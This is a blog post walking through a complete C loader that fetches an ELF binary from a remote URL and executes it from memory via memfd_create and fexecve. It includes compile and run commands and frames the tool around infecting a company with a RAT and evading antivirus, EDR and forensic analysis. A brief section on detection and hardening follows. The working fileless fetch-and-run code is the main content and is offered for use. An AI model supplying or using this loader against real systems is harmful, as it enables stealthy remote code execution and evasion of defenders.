Executing ELF Binaries From Memory Without Touching The Disk

proxydomproxydom
5 min read

Disclaimer: This article is intended for educational purposes only. The techniques shown below are designed to deepen understanding of ELF execution, in-memory operations, and post-exploitation methodologies on Linux systems. Use responsibly and don’t do dumb things you will regret later.

Hello again. Today, i want to talk about a “project” that i was working on these days while i wasn’t posting: a C loader, that loads an ELF binary from the internet, and runs it. It doesn’t get saved to the disk, only in the RAM.

Why should i use a loader? Can’t i just run the binary on the victim’s system, duh?

Well yes. But let’s create an hypothetical situation:

You create a well-made reverse shell, or maybe a RAT and infect a big company. A forensic team starts analyzing the disk(s), so they can see if the virus is still there, saved somewhere. They find a weird, not-signed, binary. They do some reverse-engineering and now they can see it was a RAT (and probably see the hardcoded IP that you probably saved in a constant named “C2_SERVER”). From there, they will start to analyze every packet on the network until they find the malicious ones that will let them trace the attack back to you, and it’s pretty much game over.

Damn. Are there other benefits?

Sure. The most important ones are:

  • No disk writes = no I/O monitoring

  • Evading basic file-based antivirus/EDR solutions

  • Leaving minimal forensic traces (just like i said before)

  • Fully operational userland execution

Now i’m interested. How it works?

We achieve this using Linux's memfd_create() and fexecve() syscalls.

memfd_create()

Creates an anonymous file in memory (RAM) that behaves like a normal file descriptor, but doesn't touch the disk.

int memfd_create(const char *name, unsigned int flags);

fexecve()

Executes a binary from a given file descriptor. Think execve(), but for in-memory files.

int fexecve(int fd, char *const argv[], char *const envp[]);

Where is the code then?

Posted up on github. I’ll post it here too.

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <curl/curl.h>
#ifndef MFD_CLOEXEC
#define MFD_CLOEXEC 0x0001
#endif

// Wrapper for memfd_create syscall
int memfd_create(const char *name, unsigned int flags) {
    return syscall(SYS_memfd_create, name, flags);
}
// Structure used to store the downloaded ELF in memory
struct MemoryBuffer {
    char *data;     // pointer to the allocated buffer
    size_t size;    // current size of the buffer
};
// libcurl write callback: appends downloaded data to the memory buffer
size_t write_callback(void *ptr, size_t size, size_t nmemb, void *userdata) {
    size_t total = size * nmemb;
    struct MemoryBuffer *mem = (struct MemoryBuffer *)userdata;

    // Expand buffer size to fit new data
    char *tmp = realloc(mem->data, mem->size + total);
    if (!tmp) return 0;

    mem->data = tmp;
    memcpy(&(mem->data[mem->size]), ptr, total);  // append new chunk
    mem->size += total;  // update buffer size
    return total;
}

// Core function: download ELF binary from URL and execute it directly from RAM
int load_elf_from_url(const char *url) {
    CURL *curl = curl_easy_init();  // initialize libcurl
    if (!curl) return -1;

    struct MemoryBuffer bin = {0};  // initialize empty memory buffer

    // Configure curl with target URL and callback
    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &bin);
    CURLcode res = curl_easy_perform(curl);  // perform download
    curl_easy_cleanup(curl);  // clean up curl handle

    // Check if download succeeded and buffer is not empty
    if (res != CURLE_OK || bin.size == 0) {
        fprintf(stderr, "Failed to download binary.\n");
        free(bin.data);
        return -1;
    }

    // Create anonymous file in RAM
    int memfd = memfd_create("inmem", MFD_CLOEXEC);
    if (memfd < 0) {
        perror("memfd_create");
        free(bin.data);
        return -1;
    }

    // Write downloaded ELF content into in-memory file descriptor
    if (write(memfd, bin.data, bin.size) != bin.size) {
        perror("write to memfd");
        free(bin.data);
        close(memfd);
        return -1;
    }

    free(bin.data);  // free download buffer

    // Prepare arguments for fexecve
    char *argv[] = {"inmem_exec", NULL};
    char *envp[] = {NULL};

    // Execute binary from memory
    fexecve(memfd, argv, envp);

    // If execution returns, it's an error
    perror("fexecve");
    close(memfd);
    return -1;
}

// Entry point: expects one argument (URL to ELF binary)
int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <url_to_ELF_binary>\n", argv[0]);
        return EXIT_FAILURE;
    }

    return load_elf_from_url(argv[1]);
}

How to Test It?

  1. Compile:
gcc -o elfloader loader.c -lcurl
  1. Upload your ELF binary to a server or file hosting (like transfer.sh, your VPS, or GitHub raw. Ngrok should do the trick too.)

  2. Run:

./elfloader https://your-server.com/binary # the output will be the output of the binary you want to run

No files dropped, no temp files created. Full in-RAM execution.

Is there something like this for Windows too?

Yes, there is. But for now, i think i will just do some modifications on the code (check the TO-DO list on the repo) and then go to Windows 11.

So, if this happens to me… is it over?

Nah, it’s not over. You can still defend yourself from this.

Defending against in-memory execution requires a different mindset compared to traditional file-based detection. Key things you should do:

  • Behavioral monitoring: Use EDR solutions that detect suspicious syscalls like memfd_create, fexecve, or anonymous executable memory mappings.

  • System call auditing: Enable auditd and configure rules for in-memory execution indicators (e.g., processes spawned with no backing file).

  • AppArmor/SELinux policies: Restrict the ability of unprivileged binaries to use fexecve or load memory-only files.

  • Outbound HTTP(S) monitoring: Block or log unexpected curl/wget/HTTP client activity in non-browser processes.

  • Memory scanning: Use forensic tools that can dump and inspect memory regions for injected ELF binaries.

  • Containerization: Sandbox applications and isolate processes using namespaces and cgroups to minimize attack surface.

Do all this and you will drastically reduce the attack surface.

Conclusions

Running ELF binaries straight from RAM is a clean, elegant, and powerful way to operate on Linux with minimal traces. The above technique is simple, yet underused.

If this helped you, consider following me on X and join the newsletter.

But most importantly. Don’t be dumb. This is for educational purpose, don’t use this if you don’t have permissions.

(Unless you know how to hide yourself.)

Just kidding.

0
Subscribe to my newsletter

Read articles from proxydom directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

proxydom
proxydom

Italian college student who loves cats, beer and ethical hacking.